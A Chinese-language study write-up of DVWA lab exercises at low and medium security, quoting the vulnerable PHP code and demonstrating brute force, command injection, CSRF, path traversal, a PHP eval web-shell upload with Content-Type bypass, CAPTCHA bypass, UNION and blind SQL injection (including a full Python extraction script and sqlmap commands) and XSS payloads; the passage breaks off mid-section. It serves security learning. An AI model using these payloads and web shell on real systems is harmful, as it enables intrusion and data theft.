DVWA学习笔记

Ⅰ. Security:Low – 低安全性

这个安全级别没有任何安全措施


1. Brute Force – 暴力破解

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    if( $result && mysql_num_rows( $result ) == 1 ) {
        // Get users details
        $avatar = mysql_result( $result, 0, "avatar" );

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    mysql_close();
}

?>

查看源码发现没有任何防护措施

随便输个用户名密码,用burp抓包爆破

image-20240313172409960

攻击类型选cluster bomb,导入字典

image-20240313174022432

找到长度不一样的回传,可见用户名为admin,密码为password

image-20240313174338516

登录成功

image-20240313174756069

2. Command Injection – 命令注入

源码表示就是在输入的ip地址前拼接一个ping后作为命令执行,同时没有任何过滤

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

随便输个ip地址

image-20240313174929395

在ip地址后使用”|”拼接命令pwd,成功执行

image-20240313175153125

3. CSRF – 跨站请求伪造

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

?>

源码可知网页会检查pass_newpass_conf是否相等,若相等则用mysql_real_escape_string()md5()pass_new进行处理后更新数据库

新密码输入1234确认密码输入123后提示不匹配,观察url

image-20240313210041738

image-20240313210011029

将链接中的password_conf=123改为password_conf=1234后打开新页面并输入

image-20240313210148565

发现直接跳转到密码修改成功的页面了

4. File Inclusion – 文件包含

题目给出三个php文件

file1.php是一个查看当前用户和ip地址的页面

http://192.168.179.131:81/vulnerabilities/fi/?page=file1.php

image-20240313210459799

file2.php是一段字符串

http://192.168.179.131:81/vulnerabilities/fi/?page=file2.php

image-20240313210534047

file3.php从header查看当前用户、ip地址、ua、referer以及host

http://192.168.179.131:81/vulnerabilities/fi/?page=file3.php

image-20240313210707957

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

源码可见没有对包含的文件进行任何过滤

url为http://192.168.179.131:81/vulnerabilities/fi/?page=include.php

可以看出url的page=部分可以动手脚

尝试添加多个../../etc/passwd,最终http://192.168.179.131:81/vulnerabilities/fi/?page=../../../etc/passwd成功输出了文件内容

image-20240314152341910

5. File Upload – 文件上传

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

依旧没有对上传的文件做任何检查和过滤

上传一句话木马

<?php @eval($_POST['cmd']); ?>

image-20240314153200796

上传成功,用蚁剑连接

image-20240314154047043

image-20240314154132602

成功getshell

6. Insecure CAPTCHA – 不安全的验证码

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
        $_SERVER[ 'REMOTE_ADDR' ],
        $_POST[ 'recaptcha_challenge_field' ],
        $_POST[ 'recaptcha_response_field' ] );

    // Did the CAPTCHA fail?
    if( !$resp->is_valid ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }

    mysql_close();
}

?>

审计源码可发现两个步骤,第一个步骤会弹出验证码然后检查新密码和确认密码是否相等,第二个步骤则没有验证码环节,其中通过POST方法获取的step参数控制使用的是哪个步骤,而step是我们可以控制的

使用hackbar发送post请求

image-20240314160247061

image-20240314160259921

修改成功

7. SQL Injection – SQL注入

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>

一、手工注入

页面会直接用输入的ID替换查询语句SELECT first_name, last_name FROM users WHERE user_id = '$id';中的$id,没有任何过滤,因为有引号所以是字符型

输入1' ORDER BY 4#,查询语句就变成SELECT first_name, last_name FROM users WHERE user_id = '1' ORDER BY 4#';,#是注释符号,后面的字符都会被视为注释,ORDER BY 4意为按第四列的数据进行升序排列,此处用来判断表中有几列,

image-20240314161136196

尝试发现ORDER BY 4ORDER BY 3都报错

image-20240314161434960

ORDER BY 2没有报错,说明有2列

image-20240314161458639

也可以输入1' OR 1=1 ORDER BY 2#输出所有字段

image-20240314165013523

输入1' UNION SELECT 1,2#,得知显位点为1和2,也就是说我们下一步想要的数据会在1和2的地方显示。因为UNION SELECT输出的数据需要和列数需要相同(否则会报错),所以需要这个步骤来确定下一步需要怎么构造语句。

UNION 操作符合并两个或多个 SELECT 语句的结果

image-20240314161730415

输入1' UNION SELECT database(),version()#来获得数据库名和版本,可以看到上一步中显示1和2的地方变成了数据库名dvwa和版本5.5.47-0ubuntu0.14.04.1

image-20240314162225224

输入-1' UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema='dvwa'#可以看到有两个表,表名分别为guestbooksusers

开头的1变成-1是因为查询不存在的id-1就不会输出前面截图中前三行那种不需要的数据

UNION SELECT后的1是用来占位的,不加会报错The used SELECT statements have a different number of columns

GROUP_CONCAT()函数将组中的字符串连接成为具有各种选项的单个字符串,这里把guestbooksusers拼成一个字符串输出了

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。其中的TABLES表则提供了关于数据库中的表的信息

table_schema则代表数据表所属的数据库名

image-20240314162803150

输入-1' UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_name='users'#查看表中的列名

image-20240314165219033

image-20240314165227678

输入下面的字符串查看表内所有字段

-1' UNION SELECT 1, group_concat(user_id,',',first_name,',',last_name,',',user,',',password,',',avatar,',',last_login,',',failed_login SEPARATOR "\n") FROM users#

-1' UNION SELECT 1, group_concat(comment_id,',',comment,',',name SEPARATOR "\n") FROM guestbook#

SEPARATOR用于指定行分隔符为”\n” ,即换行,看起来更方便

两列中间的’,’用于分隔

image-20240314170317319

image-20240314170527508

其中可以看到password字段的字符串,如admin对应的81dc9bdb52d04dc20036dbd8313ed055,放到Hash Type Identifier – Identify unknown hashes可以知道这是md5值,对应的原文为1234,所以admin用户名对应的密码是1234

image-20240314170804932

二、工具注入

随便输个数字然后复制cookies

image-20240314171328494

输入sqlmap -u "http://192.168.179.131:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=e2bv43pii52ktf7hnij6uujoq3;security=low"

image-20240314172839131

需要cookie的PHPSESSID是为了保持登录态,否则会302重定向至登录界面

image-20240314234146550

sqlmap探测出参数id存在注入点,且数据库为MySQL >= 5.5,操作系统为Ubuntu,网站容器为Apache 2.4.7

输入sqlmap -u "http://192.168.179.131:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=e2bv43pii52ktf7hnij6uujoq3;security=low" --dbs得到数据库名

image-20240314235941896

使用sqlmap -u "http://192.168.179.131:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=e2bv43pii52ktf7hnij6uujoq3;security=low" -D dvwa --tables得到指定数据库dvwa的表名

image-20240315000125983

使用sqlmap -u "http://192.168.179.131:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=e2bv43pii52ktf7hnij6uujoq3;security=low" -D dvwa -T users --dump得到指定数据库dvwausers表的所有字段,顺便还原了password的明文

image-20240315000855735

8. SQL Injection(Blind) – SQL盲注

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

源码没有对语句做任何过滤,同时返回的信息只有两种:User ID is MISSING from the database.(状态码404)和User ID exists in the database.(状态码200)

由于sql盲注需要穷举试出结果,所以一般写脚本进行,猜长度的环节用burpsuite的intruder也行

盲注的payload通常需要使用SUBSTR()ASCII()LENGTH()COUNT()等函数,以及LIMIT关键字

SUBSTR(str, pos, len)用于截取子字符串,str为需要操作的字符串,pos为开始截取的位置,len为截取长度,不添加len参数则截至最后。pos最小为1。

ASCII(char)返回字符的ascii值。

LENGTH(string-expression)返回字符串表达式的字符数量。

COUNT(column_name)返回指定列的值的数目。

LIMIT n,m从第n条记录开始,返回m条记录。n最小为0。

了解这些后就可以写出脚本了

这种方法叫做布尔盲注

python 3.10.6

from urllib.parse import quote_plus
import requests
import sys

def payloadCode(payload):
    payloadEncode = quote_plus(payload, 'utf-8')
    r = requests.get(url.format(payloadEncode), cookies=cookie)
    return r.status_code

def getDatabase():
    # 获取数据库名长度
    for dbNameLen in range(20):
        payload = "1' and LENGTH(database())={0} #".format(dbNameLen) 
        if payloadCode(payload) == 200:
            break
    #print('数据库名长度为:', dbNameLen)

    # 获取数据库名
    dbName = ''
    for i in range(1, dbNameLen+1):
        for charCode in range(33,127):
            payload = "1' and ASCII(SUBSTR(database(),{0},1))={1} #".format(i, charCode) 
            # 比print()逐行输出更酷炫的输出效果
            sys.stdout.write('\r数据库:{0}'.format(dbName+chr(charCode)))
            sys.stdout.flush()
            if payloadCode(payload) == 200:
                dbName += chr(charCode)
                break
    print()
    return dbName

def getVerion():
    # 获取版本长度
    for verNameLen in range(50):
        payload = "1' and LENGTH(version())={0} #".format(verNameLen) 
        if payloadCode(payload) == 200:
            break

    # 获取版本名
    verName = ''
    for i in range(1, verNameLen+1):
        for charCode in range(33,127):
            payload = "1' and ASCII(SUBSTR(version(),{0},1))={1} #".format(i, charCode) 
            sys.stdout.write('\r版本:{0}'.format(verName+chr(charCode)))
            sys.stdout.flush()
            if payloadCode(payload) == 200:
                verName += chr(charCode)
                break
    print()

def getTable(dbName):
    # 获取表数量
    for tableNum in range(10):
        payload = "1' and (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='{0}')={1} #".format(dbName, tableNum)
        if payloadCode(payload) == 200:
            break
    # print('表数量为:', tableNum)
    # 表数量为: 2

    # 获取表名长度
    tableNameLen = []
    for j in range(0, tableNum):
        for singleTableNameLen in range(20):
            payload =  "1' and LENGTH((SELECT table_name FROM information_schema.tables where table_schema='{0}' LIMIT {1},1))={2} #".format(dbName, j, singleTableNameLen)
            if payloadCode(payload) == 200:
                tableNameLen.append(singleTableNameLen)
                break
    # print('表名长度为:', tableNameLen)

    # 获取表名
    tableName = []
    for tab in range(tableNum): # 第k张表
        tableName.append('')
        for cha in range(1, tableNameLen[tab]+1): # 表名第l个字母
            for charCode in range(33,127): # 遍历字母集合
                payload = "1' and ASCII(SUBSTR((SELECT table_name FROM information_schema.tables where table_schema='{0}' LIMIT {1},1),{2},1))={3} #".format(dbName, tab, cha, charCode) 
                if payloadCode(payload) == 200:
                    tableName[tab] += chr(charCode)
                    sys.stdout.write('\r表:{0}'.format(tableName))
                    sys.stdout.flush()
                    break
    print()
    return tableNum, tableName

def getColumn(tableNum, tableName):
    # 获取列数
    colNums = []
    for tab in range(tableNum):
        for colNum in range(20):
            payload = "1' and (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='{0}')={1} #".format(tableName[tab], colNum)
            if payloadCode(payload) == 200:
                colNums.append(colNum)
                break
    # print('列数量为:', colNums)            
    # 列数量为: [3, 8]

    # 获取列名长度
    colNameLen = [[] for _ in range(tableNum)]
    for tab in range(tableNum):
        for col in range(0, colNums[tab]): # 遍历列
            for singleColNameLen in range(20): 
                payload =  "1' and LENGTH((SELECT column_name FROM information_schema.columns where table_name='{0}' LIMIT {1},1))={2} #".format(tableName[tab], col, singleColNameLen)
                if payloadCode(payload) == 200:
                    colNameLen[tab].append(singleColNameLen)
                    break
    # print('列名长度为:', colNameLen)

    # 获取列名
    colName = [["" for _ in sublist] for sublist in colNameLen]
    for tab in range(tableNum): # 第tabNo张表
        for col in range(len(colNameLen[tab])): # 第col列
            for cha in range(1, colNameLen[tab][col]+1): # 列名第cha个字母
                for charCode in range(33,127): # 遍历字母集合
                    payload = "1' and ASCII(SUBSTR((SELECT column_name FROM information_schema.columns where table_name='{0}' LIMIT {1},1),{2},1))={3} #".format(tableName[tab], col, cha, charCode) 
                    if payloadCode(payload) == 200:
                        colName[tab][col] += chr(charCode)
                        sys.stdout.write('\r列:{0}'.format(colName))
                        sys.stdout.flush()
                        break
    print()
    return colNums, colName

def getKey(tableNum, tableName, colNums, colName):
    # 获取字段数
    keyNums = []
    for tab in range(tableNum):
        for keyNum in range(20):
            payload = "1' and (SELECT COUNT(user) FROM {0})={1} #".format(tableName[tab], keyNum)
            if payloadCode(payload) == 200:
                keyNums.append(keyNum)
                break
    # print('字段数量为:', keyNums) 
    # 字段数量为: [1, 5]

    # 获取字段长度
    keyLens = [[[0 for _ in range(colNums[i])] for _ in range(keyNums[i])] for i in range(tableNum)]
    for tab in range(tableNum): # 遍历表
        for key in range(keyNums[tab]): # 遍历字段
            for col in range(colNums[tab]): # 遍历列
                for keyLen in range(100):
                    # 非盲注查看users表avatar列的第0个字段:-1' UNION SELECT 1,SUBSTR((SELECT avatar FROM users LIMIT 0,1),1) #
                    payload =  "1' and LENGTH((SELECT {0} FROM {1} LIMIT {2},1))={3} #".format(colName[tab][col], tableName[tab], key, keyLen)
                    if payloadCode(payload) == 200:
                        keyLens[tab][key][col] = keyLen
                        break

    # 字段具体内容
    keys = [[['' for _ in range(colNums[i])] for _ in range(keyNums[i])] for i in range(tableNum)]
    for tab in range(tableNum): # 遍历表
        for key in range(keyNums[tab]): # 遍历字段
            for col in range(colNums[tab]): # 遍历列
                for cha in range(1, keyLens[tab][key][col]+1): # 遍历字母
                    for charCode in range(32,127):
                        payload = "1' and ASCII(SUBSTR((SELECT {0} FROM {1} LIMIT {2},1), {3}, 1))={4} #".format(colName[tab][col], tableName[tab], key, cha, charCode)
                        if payloadCode(payload) == 200:
                            keys[tab][key][col] += chr(charCode)
                            #sys.stdout.write('\r字段:{0}'.format(keys))
                            #sys.stdout.flush()
                            break
    #print()
    return keys

def sqli():
    dbName = getDatabase()
    getVerion()
    tableNum, tableName = getTable(dbName)
    colNums, colName = getColumn(tableNum, tableName)
    keys = getKey(tableNum, tableName, colNums, colName)
    for tab in range(tableNum):
        print('[+] 表', tab+1, ':', tableName[tab])
        for i in colName[tab]:
            if colName[tab].index(i) + 1 == len(colName[tab]):
                print(i)
            else:
                print(i, end=' | ')
        for i in keys[tab]:
            for j in i:
                if i.index(j) + 1 == len(i):
                    print(j)
                else:
                    print(j, end=' | ')

# 改为多线程更快
if __name__ == '__main__':
    url = 'http://192.168.179.131:81/vulnerabilities/sqli_blind/?id={0}&Submit=Submit#'  # 注入点需要换成占位符,如{0}
    cookie = {'PHPSESSID':'9puud399ac8o50a68dt07jcdu3','security':'low'}
    sqli()

运行结果:

image-20240316150237191

9. XSS(Reflected) – 跨站脚本反射型

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

依旧没有对输入内容做任何过滤,随便输个字符串

image-20240316151052923

输个js语句试试<script>alert("EL PSY KONGROO")</script>

image-20240316151605948

image-20240316151422950

网页弹窗,说明刚刚输入的语句直接执行了

10. XSS(Stored) – 跨站脚本存储型

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );

    // Sanitize name input
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?>

在评论处输入js语句提交

image-20240316152513769

可以发现多了条空白的评论

image-20240316152540581

每次进入这个页面都会弹窗

image-20240316152604418

Ⅱ. Security:Medium – 中安全性

这个安全级别有一点安全措施,但不多


1. Brute Force – 暴力破解

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = mysql_real_escape_string( $user );

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    if( $result && mysql_num_rows( $result ) == 1 ) {
        // Get users details
        $avatar = mysql_result( $result, 0, "avatar" );

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    mysql_close();
}

?>

中级的代码增加了mysql_real_escape_string()函数,这个函数会在以下字符前添加反斜线:\x00\n\r\'"\x1a来防御SQL注入。而且登录失败后会sleep(2)暂停运行2秒。不过方法和低级一样,直接爆破就行了,只是时间会久一点。

2. Command Injection – 命令注入

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

中级添加了黑名单,会将输入中黑名单内的字符过滤掉,具体就是将’&&’和’;’直接删除

可以发现输入127.0.0.1 && pwd已经没反应了

image-20240316153918862

但是黑名单过滤不全,还可以用127.0.0.1|pwd,此外还可以用单个&

image-20240316154157610

3. CSRF – 跨站请求伪造

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = mysql_real_escape_string( $pass_new );
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    mysql_close();
}

?>

中级多了一个检查Header中Referer字段的环节

直接打开新标签页输入修改密码的url会报错:

image-20240316155207900

在原页面发送请求后抓包查看Referer

image-20240316155448945

复制到hackbar添加Referer发送请求

image-20240316155534607

提示修改成功

image-20240316155543583

4. File Inclusion – 文件包含

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

中级的源码添加了输入过滤环节,会把"http://", "https://", "../", "..\""删除,但只是简单的删除而已,可以使用双写绕过,就是在"../"中间再加个"../"变成“”…/./”,这样中间的../被删除后左边的.和右边的./拼在一起又变成了../`。其他同理。

构造urlhttp://192.168.179.131:81/vulnerabilities/fi/?page=..././..././..././etc/passwd

image-20240316160224839

成功输出文件内容

5. File Upload – 文件上传

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

中级限制了上传文件的类型为image/jpegimage/png,且大小小于100000

image-20240316160837363

直接上传shell.php会发现被拒绝

image-20240316160927608

上传前抓包找到Content-Type,修改为image/jpeg

image-20240316161030966

image-20240316161056263

上传成功,getshell

image-20240316161146331

6. Insecure CAPTCHA – 不安全的验证码

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
        $_SERVER[ 'REMOTE_ADDR' ],
        $_POST[ 'recaptcha_challenge_field' ],
        $_POST[ 'recaptcha_response_field' ] );

    // Did the CAPTCHA fail?
    if( !$resp->is_valid ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if they did stage 1
    if( !$_POST[ 'passed_captcha' ] ) {
        $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";
        $hide_form = false;
        return;
    }

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }

    mysql_close();
}

?>

中级则加了一个检查有没通过step1的函数

// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
    $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";
    $hide_form = false;
    return;
}

直接修改会提示没有通过验证码:

image-20240316164221777

但是在知道源码的情况下,多post一个passed_captcha=1就可以了:

image-20240316164429619

修改成功

7. SQL Injection – SQL注入

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}

?>

中级添加了一个mysql_real_escape_string()来过滤传入的id,而且固定选项了,传参方式也从get改为post:

image-20240316164816389

这样就没办法直接在网页输入框和url修改了:

image-20240316164931897

但是还可以抓包:

image-20240316165006322

首先判断类型:

image-20240316165713466

没有返回

image-20240316165806047

报错,说明是数字型:

image-20240316165815511

其他过程的payload和低级都差不多

在查看列名这一步需要注意,使用id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #时会报错

image-20240316170203194

因为单引号被mysql_real_escape_string()转义了,所以不能使用单引号,可以使用十六进制编码

users的十六进制编码为0x7573657273

所以将payload改为-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

image-20240316171501707

成功返回信息:

image-20240316171508602

获取所有字段内容:

-1 UNION SELECT 1, group_concat(user_id,0x2c,first_name,0x2c,last_name,0x2c,user,0x2c,password,0x2c,avatar,0x2c,last_login,0x2c,failed_login SEPARATOR 0x0a) FROM users#

image-20240316171339635

,0x2c\n0x0a

8. SQL Injection(Blind) – SQL盲注

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
